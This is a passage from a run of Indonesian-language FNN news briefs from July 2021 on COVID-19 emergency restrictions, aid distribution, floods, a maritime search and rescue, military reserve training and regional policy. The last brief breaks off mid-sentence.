Jakarta, FNN - Kepala Staf Angkatan Darat Jenderal TNI Andika Perkasa menekankan kepada seluruh jajaran agar program Komponen Cadangan (Komcad) bisa terlaksana dengan baik. Jenderal TNI Andika Perkasa dalam siaran TNI AD, diterima di Jakarta, Jumat, menekankan agar jajaran merencanakan semuanya dengan baik dan terstruktur sehingga anggaran dana yang diberikan untuk program tersebut terserap dengan baik. Menurut Kasad program Komcad tersebut merupakan program Kementerian Pertahanan RI, termasuk anggarannya. “Oleh karena itu, kita harus bisa menjaga kepercayaan, jangan sampai kita kemudian tidak atau mengecewakan yang memberikan kepercayaan dan ini harus di kontrol,” kata Kasad kepada seluruh jajarannya. Kasad menggelar rapat bersama jajaran terkait pelaksanaan program Kementerian Pertahanan Republik Indonesia, yaitu pendidikan Komponen Cadangan (Komcad) TNI Angkatan Darat untuk memastikan program tersebut berjalan baik. Peserta pendidikan Komcad untuk tahun anggaran 2021 berjumlah 2.500 peserta dengan rencana lama pendidikan 3 bulan dan dilakukan di 6 Kodam. Komcad adalah sumber daya nasional yang disiapkan untuk dikerahkan melalui mobilisasi guna memperkuat kekuatan dan kemampuan Komponen Utama. Komponen Cadangan bersifat sukarela yang mana penggunaan Komcad hanya pada saat mobilisasi oleh Presiden dengan persetujuan DPR RI. Untuk menyukseskan program tersebut, Kemhan RI memberikan dukungan anggaran dana dan kendaraan yang digunakan para pelatih melaksanakan bimbingan para peserta Komcad. (sws)

Kapolri Instruksikan Jajaran Percepat Distribusi Bansos PPKM Darurat

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo menginstruksikan seluruh jajaran di wilayah untuk mempercepat pendistribusian bantuan sosial (bansos) pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat kepada masyarakat terdampak pandemi COVID-19. Instruksi tersebut disampaikan Sigit dalam kunjungan kerja bersama Panglima TNI Marsekal TNI Hadi Tjahjanto meninjau Posko PPKM Mikro di Kelurahan Turangga, Lengkong, Bandung, Jawa Barat, Jumat. "Dalam pelaksanaan PPKM darurat ini, bantu masyarakat dengan sungguh-sungguh. Lakukan pendataan dan segera distribusikan bantuan. Berikan pengabdian terbaik untuk masyarakat," kata Sigit dikutip dari keterangan tertulis Divisi Humas Polri. Menurut Sigit, instruksi ini berlaku untuk seluruh jajaran TNI-Polri di wilayah. Dengan adanya bantuan tersebut akan meringankan beban masyarakat di tengah pandemi COVID-19 yang masih tinggi penularannya. Sigit berharap dengan terdistribusinya bantuan pemerintah melalui personel TNI-Polri dapat dimanfaatkan dengan baik untuk memenuhi kebutuhan sehari-hari sehingga masyarakat tidak perlu keluar rumah saat PPKM darurat jika tidak ada keperluan mendesak. "Ada bantuan dari pemerintah yang diantar TNI dan Polri. Berkenan diterima, semoga bisa dimanfaatkan dengan maksimal. Kami imbau jangan kemana-mana selama PPKM darurat," ujar Sigit. Selain memberikan bantuan kepada masyarakat, Panglima dan Kapolri melakukan peninjauan vaksinasi massal di Youth Center Arcamanik, Bandung, Jawa Barat. Kegiatan itu menargetkan 4.500 orang penerima vaksin COVID-19. "TNI-Polri koordinasi dengan pemda menentukan sasaran vaksinasi untuk wilayah merah. Perintah bapak Presiden untuk cek terkait dengan daerah-daerah yang belum terjangkau vaksinasi," pinta Sigit. Kapolri dan Panglima melihat langsung permukiman warga yang berada di areal kumuh dan menyalurkan paket sembako kepada warga terdampak pandemi. Sebelumnya diberitakan, Menteri Koordinator (Menko) Kemaritiman dan Investasi Luhut Binsar Panjaitan mengatakan Presiden Joko Widodo (Jokowi) telah memerintahkan jajarannya agar tidak boleh ada rakyat yang kelaparan di tengah pandemi COVID-19. Oleh karena itu, kata Menko Luhut, pemerintah dibantu aparat TNI dan Polri akan membagikan bantuan beras kepada masyarakat yang direncanakan pada Rabu (12/7) pekan ini. Luhut Pandjaitan yang juga Wakil Ketua Komite Penanganan COVID-19 dan Pemulihan Ekonomi Nasional (PEN) mengatakan aparat TNI-Polri akan membagikan beras di semua lokasi masyarakat yang layak menjadi penerima bantuan beras. Sementara itu, kata dia, pemerintah akan meluncurkan pendistribusian 300 ribu paket obat terapi COVID-19 kepada pasien tanpa gejala (OTG) dan bergejala ringan pada Rabu (14/7) pekan ini. Ia mengatakan paket obat tersebut akan menjangkau 210.000 kasus aktif pasien COVID-19. Aparat TNI akan turut terlibat untuk menyalurkan paket obat penanganan COVID-19 tersebut. (sws)

SAR: Heli Super Puma Diturunkan Bantu Cari KM Nelayan Tenggelam

Pontianak, FNN - Kantor Search and Rescue (SAR) bersama Lanud Supadio Pontianak, Kalimantan Barat, menurunkan Helikopter Super Puma untuk menyisir area pencarian tenggelamnya delapan kapal motor nelayan yang belum ditemukan di sekitar perairan Muara Jungkat, Kabupaten Mempawah. "Penambahan dari unsur udara dalam pencarian kali ini untuk mempercepat penemuan korban (anak buah kapal) yang tenggelam sejak Selasa malam (13/7)," kata Kepala Kantor Search and Rescue (SAR) Pontianak Yopi Haryadi dalam keterangan tertulis di Pontianak, Jumat. Dia menjelaskan pihaknya berkoordinasi dengan Lanud Supadio Pontianak dan telah memberangkatkan Helikopter Super Puma untuk melakukan pencarian melalui udara dengan daerah penyisiran seluas 100 nautical mile untuk mempercepat penemuan korban. Yopi mengatakan pencarian di air dilakukan empat sektor seluas 1.360 nautical mile dengan mengerahkan sebanyak 15 kapal pencarian dari berbagai instansi atau Tim SAR Gabungan. Data Kantor SAR Pontianak mencatat hingga saat ini pihaknya masih mencari sebanyak 49 anak buah kapal (ABK) dari sekitar 14 kapal motor (KM) nelayan yang tenggelam dampak cuaca buruk Selasa malam (13/7) dan Rabu pagi (15/7). "Kami dari Basarnas Kalbar, Rabu (14/7) mendapat laporan terjadi kecelakaan yang menimpa 14 KM nelayan di tiga lokasi secara bersamaan kemarin karena dampak cuaca buruk dan mengakibatkan 56 orang ABK hilang, tujuh di antaranya ditemukan meninggal dan 81 ABK selamat," katanya. Ia mengatakan kapal-kapal tersebut mengalami kecelakaan di perairan Muara Jungkat sebanyak sembilan KM, Muara Kubu dua KM, dan di Muara Pemangkat tiga KM. Dari 14 kapal itu, 12 kapal merupakan kapal ikan dan dua kapal lain merupakan kapal tugboat. (sws)

Pulau Belitung Terapkan PPKM Tekan Mobilitas Masyarakat

Pangkalpinang, FNN - Satgas Penanganan COVID-19 Provinsi Kepulauan Bangka Belitung menyatakan dua kabupaten di Pulau Belitung menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala mikro, guna menekan mobilitas masyarakat dan kasus COVID-19 yang tinggi. "Saat ini Kabupaten Belitung dan Belitung Timur menerapkan PPKM skala mikro untuk menekan mobilitas dan kerumunan massa di tempat keramaian dan fasilitas publik," kata Sekretaris Satgas Penanganan COVID-19 Provinsi Kepulauan Babel Mikron Antariksa di Pangkalpinang, Jumat. Ia mengatakan penerapan PPKM skala mikro untuk menekan kasus penularan COVID-19 di Pulau Belitung ini berdasarkan Surat Edaran Bupati Belitung Nomor 443.1/956/II/2021 tentang Perpanjangan Masa PPKM Skala Mikro secara ketat, guna menekan kasus COVID-19 di "Negeri Laskar Pelangi" itu. "Saat ini baru dua kabupaten yang memperpanjang masa PPKM ini, sementara lima kabupaten/kota lainnya belum mengajukan surat perpanjangan PPKM skala mikro ini," katanya. Dia mengatakan dalam sepekan terakhir ini, terjadi penambahan kasus COVID-19 yang signifikan karena mobilitas dan kegiatan berkerumun masyarakat di pusat perbelanjaan, pendidikan, aktivitas keagamaan dan pariwisata, lantaran mengabaikan atau tidak mengindahkan penerapan protokol kesehatan. "Sebetulnya pemerintah tidak melarang mobilitas masyarakat ini, tetapi dengan syarat masyarakat harus taat dan selalu menerapkan protokol kesehatan seperti memakai masker, tidak berkerumun, mencuci tangan dan lainnya," katanya. Juru Bicara Satgas Penanganan COVID-19 Babel Andi Budi Prayitno mengatakan berdasarkan data terbaru Kamis (15/7) malam, tercatat 511 orang terkonfirmasi COVID-19, di mana secara nasional hal itu menempatkan Provinsi Kepulauan Bangka Belitung berada di urutan ke-17 penambahan harian kasus COVID-19 dengan kumulatif 25.525 orang. Penambahan 511 kasus COVID-19 ini tersebar di Kota Pangkalpinang 128 orang Kabupaten Bangka (101), Bangka Tengah (52), Bangka Barat (65), Bangka Selatan (30), Belitung (81), dan Belitung Timur (54). "Dalam sepekan terakhir ini orang yang terkonfirmasi COVID-19 terus meningkat sangat tajam dan melonjak drastis dibandingkan dengan pekan sebelumnya, di mana penularan virus corona ini masih terjadi terutama di Kota Pangkalpinang, Belitung, dan Kabupaten Bangka," katanya. (sws)

Australia Berlomba Bendung Wabah COVID-19 di Sydney, Melbourne

Sydney, FNN - Pejabat Australia mendesak masyarakat untuk mematuhi aturan penguncian (lockdown) yang mencakup sekitar 40 persen populasi negara itu ketika wabah varian Delta COVID-19 yang sangat menular meningkat lagi pada Jumat (16/7). Infeksi baru harian di New South Wales (NSW), tempat wabah dimulai sekitar sebulan lalu, meningkat setelah menurun sehari sebelumnya. Sementara itu, kasus baru di seberang perbatasan di Victoria tetap stabil. Total infeksi kini mencapai lebih dari 1.000, sejak pertama kali terdeteksi di Sydney pada pertengahan Juni. Meskipun Sydney sudah memasuki minggu keempat penguncian, pejabat New South Wales mencatat 97 kasus baru yang ditemukan secara lokal, naik dari 65 pada Kamis. Yang paling mengkhawatirkan bagi pejabat kesehatan, 29 kasus di antaranya berasal dari orang-orang yang menghabiskan waktu di komunitasnya saat terinfeksi. Kepala Kesehatan New South Wales Kerry Chant menyebut situasi itu "sangat memprihatinkan". "Saya tidak bisa menekan keprihatinan saya kepada masyarakat bahwa kita perlu bekerja lebih keras untuk mengurangi mobilitas dan mengurangi interaksi kita dengan orang lain jika kita ingin mengendalikan situasi," kata Chant dalam konferensi pers yang disiarkan televisi. Pimpinan NSW Gladys Berejiklian mengatakan jumlah kasus harian pada Sabtu akan tetap lebih tinggi dan dia dapat memperketat pembatasan jika perlu. Berejiklian berada di bawah tekanan untuk memberlakukan lebih banyak pembatasan, termasuk menutup toko ritel yang tidak penting, untuk menahan wabah COVID-19 varian Delta. Saat ini ada 75 kasus COVID-19 di rumah sakit, termasuk 18 orang dalam perawatan intensif, lima di antaranya memerlukan bantuan ventilator. Di Victoria, para pejabat melaporkan enam kasus baru pada Jumat, dibandingkan dengan tujuh di hari sebelumnya, sehingga total kasus di negara bagian itu menjadi 24. Pimpinan Victoria Daniel Andrews menyerukan penguncian lima hari pada Kamis malam ketika para pejabat berlomba melacak dua rantai penularan yang berbeda. Total lokasi yang terpapar virus di Victoria telah mencapai 100, terutama di ibu kota negara bagian Melbourne, termasuk stadion yang menggelar pertandingan rugby Australia vs Prancis, di mana ratusan penonton diperintahkan untuk menjalani tes dan isolasi. Penguncian segera, pembatasan ketat, dan pelacakan cepat telah membantu Australia menjaga angka COVID-19 tetap rendah, dengan lebih dari 31.500 kasus dan 912 kematian. Namun, varian Delta yang menyebar cepat telah memicu kekhawatiran terhadap gelombang baru yang besar. (sws) Sumber: Reuters

RS Sanglah Jamin Fasilitas hingga Oksigen Pasien COVID Tetap Aman

Denpasar, FNN - Direktur Utama Rumah Sakit Umum Pusat (RSUP) Sanglah, Denpasar, Bali dr. I Wayan Sudana mengatakan ketersediaan tempat tidur hingga stok oksigen bagi pasien COVID-19 dijamin aman. "Untuk tempat tidur pasien COVID-19 ada 205 unit, ada untuk pasien yang dirawat di ruang ICU dan ada yang non-ICU. Selain itu, untuk O2 kami mempunyai liquid cair dan berupa tabung," kata dr. I Wayan Sudana dalam keterangan persnya di Denpasar, Bali, Jumat. Ia menjelaskan saat ini secara keseluruhan RS Sanglah memiliki 710 tempat tidur pasien. Untuk pasien COVID-19 ada 205 tempat tidur yang terdiri dari dua bagian, pertama untuk pasien COVID yang memerlukan perawatan ICU dan kedua untuk pasien non-ICU. Untuk ruang ICU, kata dr. Sudana, RS Sanglah memiliki 123 tempat tidur dengan keterisian 94 pasien, sehingga kalau dikonversikan tingkat hunian atau Bed Occupancy Rate (BOR) sekitar 76,4 persen. Pasien yang tidak memerlukan perawatan ICU ada 82 tempat tidur dengan jumlah pasien 61 orang. Jika dikonversikan ke BOR sekitar 74,4 persen. Secara keseluruhan dari total ICU dan non-ICU persentasenya 75,6 persen. "Untuk mendukung pelayanan tersebut, dibutuhkan dukungan O2. Kami pastikan sampai saat ini di RS Sanglah aman untuk stok O2, karena kami memiliki dua sumber, yakni liquid cair dan gas pakai tabung," katanya. Ia menjelaskan untuk jenis liquid cair ada dua tangki dengan pengisian paling lambat setiap dua hari sekali dan persediaanya sampai dua hari ke depan. Jika dihitung kebutuhan O2 rata-rata 2000-2500 meter kubik dengan jumlah persediaan rata-rata dua kali lipat, 4000-5000 meter kubik, sehingga persediaan oksigen aman dan pendistribusiannya tidak pernah terhalang. "Kami tetap pantau jangan sampai persediaan ini jadi kurang," katanya. Ia menambahkan sejak (17/06) terjadi penambahan kasus yang signifikan, sehingga fasilitas kesehatan berupa tempat tidur hingga O2 juga ikut ditambah. Setiap hari selalu dilakukan pemantauan dan pengawasan secara rutin, untuk menghindari pelayanan yang kurang maksimal. (sws)

Awal September, Pelancong yang Divaksinasi Penuh Bisa ke Kanada

Toronto, FNN - Kanada kemungkinan pada awal September akan mengizinkan wisatawan yang sudah divaksinasi penuh untuk datang, ujar Perdana Menteri Justin Trudeau, Kamis (15/7), jika laju vaksinasi dan kondisi kesehatan seperti saat ini berlanjut. Trudeau membuat pernyataan itu saat berbicara dengan para pemimpin provinsi Kanada lewat sambungan telepon. Trudeau juga mengatakan pembicaraan sedang berlangsung dengan Amerika Serikat soal kemungkinan mengizinkan warga negara dan penduduk tetap AS yang sudah divaksinasi penuh memasuki Kanada mulai pertengahan Agustus untuk melakukan perjalanan yang tidak penting. "Perdana Menteri mencatat bahwa, jika laju positif tingkat vaksinasi dan kondisi kesehatan masyarakat kita saat ini berlanjut, Kanada akan berada dalam posisi untuk menyambut pelancong yang divaksinasi penuh dari semua negara pada awal September," menurut sebuah pernyataan. Sekitar 78 persen orang berusia 12 tahun atau lebih di Kanada telah menerima setidaknya satu dosis vaksin COVID-19, kata pejabat kesehatan baru-baru ini. Sekitar 44 persen orang berusia 12 tahun atau lebih telah divaksinasi lengkap. Sebelumnya pada Kamis, Kanada mengatakan akan mengizinkan kapal pesiar besar untuk masuk mulai November ketika pandemi COVID-19 memudar. Tetapi, kata pemerintah negara itu, pengelola kapal pesiar harus sepenuhnya mematuhi persyaratan kesehatan masyarakat. (sws) Sumber : Reuters

Kemendagri Minta Pemda Fokus Inovasi di 6 Area

Jakarta, FNN - Kepala Badan Penelitian dan Pengembangan (Litbang) Kementerian Dalam Negeri Republik Indonesia (Kemendagri) Agus Fatoni meminta pemerintah daerah (Pemda) untuk lebih fokus pada 6 area inovasi. “Pemerintah daerah diharapkan bisa lebih fokus pada 6 area inovasi, yaitu inovasi administrasi pemerintahan, inovasi manajemen pemerintahan, inovasi kebijakan, inovasi frugal, inovasi teknologi, dan inovasi sosial," kata Fatoni Ketika menjadi pembicara dalam acara Sosialisasi Indeks Inovasi Daerah Provinsi Aceh Tahun 2021 di dalam jaringan (daring) yang dirilis, Jumat. Menurut Fatoni, hasil inovasi yang optimal dapat meningkatkan kualitas serta memudahkan pelayanan kepada masyarakat. Oleh karenanya, ia berharap Indeks Inovasi Daerah dapat terus ditingkatkan. “Saat ini inovasi bukanlah kewajiban, melainkan kebutuhan dasar guna menghasilkan pelayanan publik yang profesional,” kata Fatoni menekankan pentingnya inovasi bagi pemerintah daerah. Penerapan inovasi di bidang administrasi, menurut Fatoni, dapat dilakukan dengan mengadopsi cara baru dalam mengelola pemerintahan serta melakukan revolusi administrasi birokrasi secara akuntable. Selanjutnya, Pemda juga dapat melahirkan inovasi di area manajemen, guna melakukan pembaruan prosedur dan birokrasi dalam upaya meningkatkan kinerja organisasi. “Inovasi kebijakan dengan pendekatan yang lebih efisien, implementatif, dan dapat diadopsi berbagai pihak, juga perlu diterapkan pemerintah daerah,” kata Fatoni. Fatoni menambahkan, peningkatan inovasi juga dapat dilaksanakan di area inovasi frugal. Terobosan tersebut memungkinkan Pemda menciptakan inovasi produk dengan biaya lebih murah dibanding produk yang telah ada. Langkah tersebut diyakini akan menunjang kinerja pemda lebih optimal, mengingat inovasi ini tidak membutuhkan sumber daya yang besar. “Di era digital seperti saat ini, penting bagi pemda untuk fokus juga pada area inovasi teknologi,” kata Fatoni. Menurut Fatoni, pemda dapat mengadopsi proses produksi yang inovatif melalui kegiatan penelitian dan pengembangan atau alih teknologi. “Selain itu, jajaran perangkat daerah juga bisa menciptakan inovasi di area sosial yang mencakup struktur budaya normatif atau regulatif guna mendorong kesejahteraan masyarakat yang inklusif.” Salah satu daerah yang menurut Fatoni dapat menginspirasi daerah lain adalah Provinsi Aceh. Hal tersebut dilatarbelakangi oleh keberhasilan Provinsi Aceh untuk menempati peringkat 16 dengan predikat sangat inovatif pada tahun 2020, setelah sebelumnya berada di posisi 34 pada tahun 2019. “(Saya) mengapresiasi semangat Pemerintah Provinsi Aceh dalam meningkatkan inovasinya,” kata Fatoni ketika mengacu pada capaian Indeks Inovasi Daerah Provinsi Aceh. (sws)

Habib Milenial: Waspadai Penyebaran Virus Radikalisme di Masa Pandemi

Jakarta, FNN - Habib Husein Ja’far Al Hadar M Ag yang juga dikenal sebagai Habib Milenial mengingatkan untuk meningkatkan kewaspadaan terhadap wabah virus radikalisme dan terorisme yang tidak kalah berbahayanya dengan virus COVID-19 di masa pandemi saat ini. “Di tengah wabah COVID-19 seperti saat ini, justru gerakan-gerakan terorisme secara sunyi dan senyap bisa melakukan koordinasi atau bahkan ancaman-ancaman yang serius. Karena itu kita harus tetap waspada dengan terus melakukan berbagai upaya-upaya kontra terhadap radikalisme dan terorisme,” ujar Habib Husein Ja’far Al Hadar di Jakarta dalam keterangan tertulis yang diterima Antara, Jumat. Sehingga, menurut dia, sudah sepatutnya menggalang solidaritas saat ini bukan hanya terhadap teror wabah virus COVID-19 tetapi juga teror virus radikalisme dan ekstremisme yang selama ini terus mengancam di sekitar kita. Karena kelompok radikal dan intoleran ini terus melakukan paparan kepada masyarakat dengan memasukkan paham radikalisme dan ekstremisme. “Maka kuncinya adalah memapar balik mereka dengan konten-konten yang antiradikalisme dan terorisme ataupun ekstremisme melalui konten-konten toleransi, konten-konten perdamaian dan lain sebagainya,” tutur pria yang akrab disapa Habib Milenial tersebut. Dirinya meyakini bahwa kelompok moderat yang ada saat ini pasti akan menang. Karena pada dasarnya manusia itu diciptakan dengan penuh cinta. Menurut Habib Ja’far, kuncinya adalah memapar masyarakat dengan konten-konten toleran dari contoh kegiatan sehari-hari. Lebih lanjut, pria kelahiran Bondowoso, 21 Juni 1988 ini menyebut bahwa semua pihak barus bersama-sama membagikan konten-konten yang sudah ada tentang toleransi sampai pada titik, suatu hari kita ketika ada foto seorang pendeta berjalan dengan seorang Ustaz nggak lagi viral karena itu bukan lagi sesuatu yang luar biasa. Justru menjadi hal yang biasa melihat perbedaan dihadapi dengan toleransi dan penuh perdamaian. Magister Tafsir Qur’an dari Universitas Islam Negeri (UIN) Syarif Hidayatullah Jakarta tersebut mengajak agar semua pihak bersama-sama memenuhi media sosial dengan konten-konten yang toleran. Konten-konten tersebut merupakan vaksin bagi masyarakat melawan paparan radikalisme dan ekstremisme. Selain itu, Habib Ja’far mengungkapkan bahwa sebetulnya para pemuka agama, pemerintah serta organisasi keagamaan dapat turut serta melakukan vaksinasi terhadap virus radikalisme ini. Karena mereka memiliki semua infrastruktur sampai tingkat yang paling bawah. Ia mencontohkan NU, Muhammadiyah ataupun Robito Alawiyah yang memiliki cabang sampai ranting, minimal sampai tingkat Kabupaten/Kota, “Maka gunakan semua infrastruktur yang ada itu untuk kemudian menyebarkan nilai-nilai ideologi yang pro-NKRI, yang pro kepada keberagamaan yang morderat dan Cinta Damai,” ujarnya. (sws)

Presiden Jokowi Bagikan Paket Obat dan Sembako ke Warga Jakarta Utara

Jakarta, FNN - Presiden RI Joko Widodo membagikan paket obat dan sembako kepada warga di Jakarta Utara, Kamis (15/7) malam. Dalam video di channel Sekretariat Presiden yang diunggah pada Kamis (15/7) malam, Presiden Jokowi tampak mendatangi rumah warga di gang kecil dengan mengenakan masker, sarung tangan hitam, kemeja putih yang dibalut dengan jaket cokelat muda, serta celana hitam. Dalam keterangan video disebutkan waktu kunjungan adalah pukul 20.52 WIB, Presiden pun tampak ditemani Paspampres. "Malam hari ini saya berada di Kampung Sunter Agung dalam rangka mengawali pemberian sembako kepada masyarakat yang akan diberikan menyeluruh yang sudah disiapkan 200.000 ton beras yang akan disalurkan nanti dari Bulog," kata Presiden Jokowi di Kampung Sunter Agung, Jakarta. Tidak ketinggalan, Presiden Jokowi juga membagikan paket obat kepada masyarakat. "Kedua, saya juga membagikan paket obat, baik yang untuk gejala ringan paket 1, paket 2 yang gejala sedang dan paket 3, yang pada awal ini akan membagikan 300.000 paket obat itu," kata Presiden. Menurut Presiden, pada pekan depan akan diteruskan penyaluran paket obat kedua juga sebesar 300.000 paket. "Kita harapkan dengan pembagian sembako ini dan juga paket obat-obatan, vitamin, dan suplemen masyarakat bisa lebih tenang dalam menghadapi penyebaran COVID-19," ungkap Presiden. Warga Sunter Agung yang menerima paket sembako dari Presiden Jokowi bernama Sugiharto dan Karsini mengaku senang mendapat bantuan. "Tidak tahu kirain bukan Pak Jokowi saya kaget. Saya senang sekali Pak Jokowi datang ke sini, alhamdulilah, Presiden datang ke sini lihat warga melihat masyarakat lingkungan sini. Terima kasih banyak," kata Karsini. Ia pun berharap COVID-19 berangsur-angsur menghilang. "Inginnya tidak ada lagi deh corona gitu, ingin sehat semua, kumpul keluarga, ketemu, ingin aman kaya dulu lagi, enggak ingin ada wabah-wabah kaya begini penyakitnya pada hilang," ucap Karsini yang saat didatangi Presiden Jokowi sudah memakai masker. Warga Sunter Agung lain yang juga didatangi Presiden Jokowi, yaitu Susanti juga mengaku seperti mendapatkan rezeki karena didatangi Presiden Jokowi. "Saya tuh justru kaget banget tiba-tiba Pak Jokowi dateng ke depan rumah. Saya kirain siapa, ternyata bener-benar Pak Presiden. Tidak menyangka, mungkin rezeki saya kali, ya, mungkin mau dapat rezeki apa begitu. Terima kasih banyak, ya, Pak atas perjuangan Bapak selama ini, saya tahu mungkin tidak gampang untuk Bapak mimpin negara di tengah masalah seperti ini," kata Susanti. Pemerintah telah meluncurkan 300.000 paket obat dan vitamin yang dibagikan kepada warga yang melakukan isolasi mandiri (isoman) karena terpapar COVID-19 di Pulau Jawa dan Bali pada hari Kamis (16/7). Pemerintah membaginya menjadi tiga paket, yaitu paket 1 berisi vitamin untuk warga dengan hasil PCR (polymerase chain reaction) positif tanpa gejala atau OTG; paket 2 berisi vitamin dan obat untuk warga dengan PCR positif disertai keluhan panas dan kehilangan penciuman; dan paket 3 berisi vitamin dan obat untuk warga dengan PCR positif disertai keluhan panas dan batuk kering. Program tersebut rencananya dilanjutkan oleh warga di luar Pulau Jawa dengan jumlah sama sebanyak 300.000 paket. (sws)

BPBD: Banjir di Kapuas Hulu Merendam 2.862 Rumah

Putussibau, Kalbar, FNN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas Hulu, Provinsi Kalimantan Barat mencatat sebanyak 2.862 rumah warga di sejumlah kecamatan di daerah itu terendam banjir yang terjadi sejak Rabu (14/7) hingga Kamis (15/7) 2021. "Banjir terjadi di tujuh kecamatan dengan ketinggian debit air berkisar dua hingga tujuh meter, akibatnya ribuan rumah terendam bahkan sejumlah fasilitas umum mengalami kerusakan cukup serius dan akses jalan terputus," kata Kepala BPBD Kapuas Hulu Gunawan kepada ANTARA, di Putussibau, Ibu Kota Kabupaten Kapuas Hulu, Kamis malam. Ia menjelaskan banjir tidak hanya merendam 2.862 rumah, namun terdapat 529 rumah terdampak, dengan total koban banjir di Kapuas Hulu sebanyak 5.830 kepala keluarga (KK). Berdasarkan data sementara, kata dia, ada tujuh kecamatan terendam banjir yaitu Kecamatan Hulu Gurung yang terjadi di Desa Nanga Yen, Tepuai, Sejahtera Mandiri, Karya Mandiri, Landau Kumpang, Kelakar, Bugang dan Desa Simpang Sinara. Lalu, Kecamatan Silat Hulu banjir terjadi di Desa Dangkan,Entebi, Landau Badai, Landau Rantau, Lebak Jemah, Nanga Dangkan, Nanga luan, Nanga lungu, Nanga Ngeri, Riam tapang, Selangkai dan Desa Selimu. Untuk Kecamatan Boyan Tanjung terjadi banjir di Desa Nanga Betung, Landau Mentail, Nanga Jemah, Riam Mengelai, Sri wangi, Nanga Sangan, Tubang Jaya, Boyan Tanjung, Mujan, Pemawan, Karya Maju, Nanga Ret, Nanga Danau, Nanga Boyan, Delintas Jaya dan Desa Teluk Geruguk. Sedangkan di Kecamatan Pengkadan banjir terjadi Desa Jajang, Mawan dan Desa Kerangan Panjang. Kemudian di Kecamatan Bunut Hulu Desa Riam Piang, Semangut Utara, Nanga Semangut, Temuyuk dan Desa Landau Apus. Sementara itu di Kecamatan Mentebah banjir terjadi di Desa Suka Maju dan Desa Tangai Jaya, sedangkan di Kecamatan Silat Hilir banjir terjadi di Desa Bongkong. "Banyak fasilitas umum rusak, rumah warga ada yang hanyut, rusak dan tenggelam, bahkan harta benda masyarakat tidak bisa diselamatkan," katanya. Ia menyebutkan banjir yang terjadi di tujuh kecamatan itu dikarenakan curah hujan cukup tinggi yang mengakibatkan sejumlah sungai meluap dan merendam dataran rendah. Dikatakannya bahwa masyarakat korban banjir saat ini memerlukan bantuan berupa sembako, pakaian dan tempat pengungsian darurat. "Kami sudah melaporkan bencana banjir itu kepada pimpinan baik di daerah, provinsi maupun pusat," katanya. Ia menjelaskan jika tidak terjadi curah hujan tinggi kemungkinan besar banjir berangsur surut, namun jika hujan terus menerus dapat mengakibatkan banjir semakin besar dan meluas ke sejumlah kecamatan lainnya. "Kami imbau masyarakat tetap mengutamakan keselamatan dan kepada petugas di kecamatan dan desa segera melaporkan setiap perkembangan banjir di daerahnya masing-masing," demikian Gunawan. (sws)

Gubernur Kaltim Tak Keluarkan lagi Izin Perkebunan Sawit

Samarinda, FNN - Gubernur Kalimantan Timur Isran Noor menegaskan pihaknya tidak mengeluarkan lagi izin baru untuk perkebunan kelapa sawit sejalan dengan terbitnya aturan melalui Instruksi Presiden (Inpres) Nomor 8 Tahun 2018. Dalam Intruksi Presiden tersebut dijelaskan tentang penundaan dan evaluasi perizinan perkebunan kelapa sawit serta peningkatan produktivitas perkebunan kelapa sawit dalam rangka peningkatan tata kelola perkebunan kelapa sawit yang berkelanjutan, memberi kepastian hukum, menjaga dan melindungi kelestarian lingkungan, termasuk penururuan gas rumah kaca. "Kaltim bahkan beberapa tahun sebelum terbitnya Inpres 8/2018, sudah tidak menerbitkan izin pembukaan lahan perkebunan kelapa sawit baru," kata Isran Noor saat mengikuti secara virtual Rapat Tindak Lanjut Instruksi Presiden Nomor 8 Tahun 2018 dari ruang Heart of Borneo (HoB) Kantor Gubernur Kaltim, Kamis sore. Selain itu, sesuai dengan diamanatkan pada Inpres 8/2018 tersebut, Isran menjelaskan bahwa gubernur melalui instansi terkait juga telah melakukan pengumpulan data peta izin lokasi, izin usaha perkebunan (IUP), dan hak guna usaha (HGU). Berkaitan dengan hal tersebut, pihaknya berkolaborasi dengan tujuh kabupaten dalam kegiatan Strategi Nasional Pencegahan Korupsi (Stranas PK) yang diinisiasi KPK RI dan memasuki tahapan integrasi data dan peta. Mantan Bupati Kutai Timur ini lantas menyebutkan sejumlah peraturan daerah setempat, di antaranya Perda Nomor 7 Tahun 2018 tentang Pembangunan Perkebunan Berkelanjutan. Selain itu, tertuang dalam RPJMD Kaltim 2018—2023 terkait tujuan pembangunan hijau di sektor pertanian dan perkebunan akan dicapai dengan membangun ketahanan pangan berbasis komoditas lokal, pengurangan deforestasi dan degradasi hutan serta kegiatan-kegiatan mitigasi perubahan iklim. Sebagai informasi, pada rencana tata ruang dan wilayah (RTRW) Kaltim peruntukan perkebunan seluas 3.269.561 hektare. Saat ini yang telah diberikan izin seluas 2.889.435 hektare dengan jumlah 405 izin. Adapun luas perkebunan kelapa sawit di Kaltim yang aktif seluas 1.287.449 hektare atau 7,86 persen dari total luas perkebunan kelapa sawit nasional. (sws)

Ketua DPD: Perpanjangan PPKM Darurat Jangan Bebani Rakyat

Jakarta, FNN - Ketua DPD AA LaNyalla Mahmud Mattalitti meminta perpanjangan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat, yang direncanakan sampai enam minggu, jangan sampai menambah beban rakyat. "Kami sangat mengerti PPKM darurat untuk menekan laju kasus COVID-19. Namun, pemerintah juga harus memperhatikan kondisi ekonomi masyarakat yang terkena imbas kebijakan ini," kata LaNyalla lewat keterangan tertulisnya yang diterima di Jakarta, Kamis. Oleh karena itu, ia meminta pemerintah mempertimbangkan rencana itu secara matang agar tidak banyak perekonomian warga yang terdampak. "Soal diperpanjang atau tidak, perlu dikalkulasi segala sesuatunya dengan baik, jangan sampai kondisi rakyat di bawah semakin sulit," tegas dia. Menurut LaNyalla, pertimbangan penting lainnya yang perlu dipikirkan pemerintah selain mengatasi krisis kesehatan adalah terpenuhinya kebutuhan ekonomi masyarakat, khususnya untuk para pelaku usaha informal dan pekerja harian. "Kita tahu pedagang kaki lima sangat kesulitan. Begitu juga ojek online, pelaku usaha UMKM dan pekerja informal sangat memprihatinkan. Hal yang sama juga dirasakan oleh pengusaha pusat perbelanjaan atau mal yang punya ratusan sampai ribuan karyawan," sebut LaNyalla. Oleh karena itu, ia berharap pemerintah mempertimbangkan dampak perekonomian rakyat yang dapat semakin terpuruk jika PPKM darurat diperpanjang sampai enam minggu. Namun, jika opsi itu jadi satu-satunya cara menekan laju penyebaran COVID-19, maka pemerintah wajib menyiapkan jaring pengamanan sosial dengan baik, kata 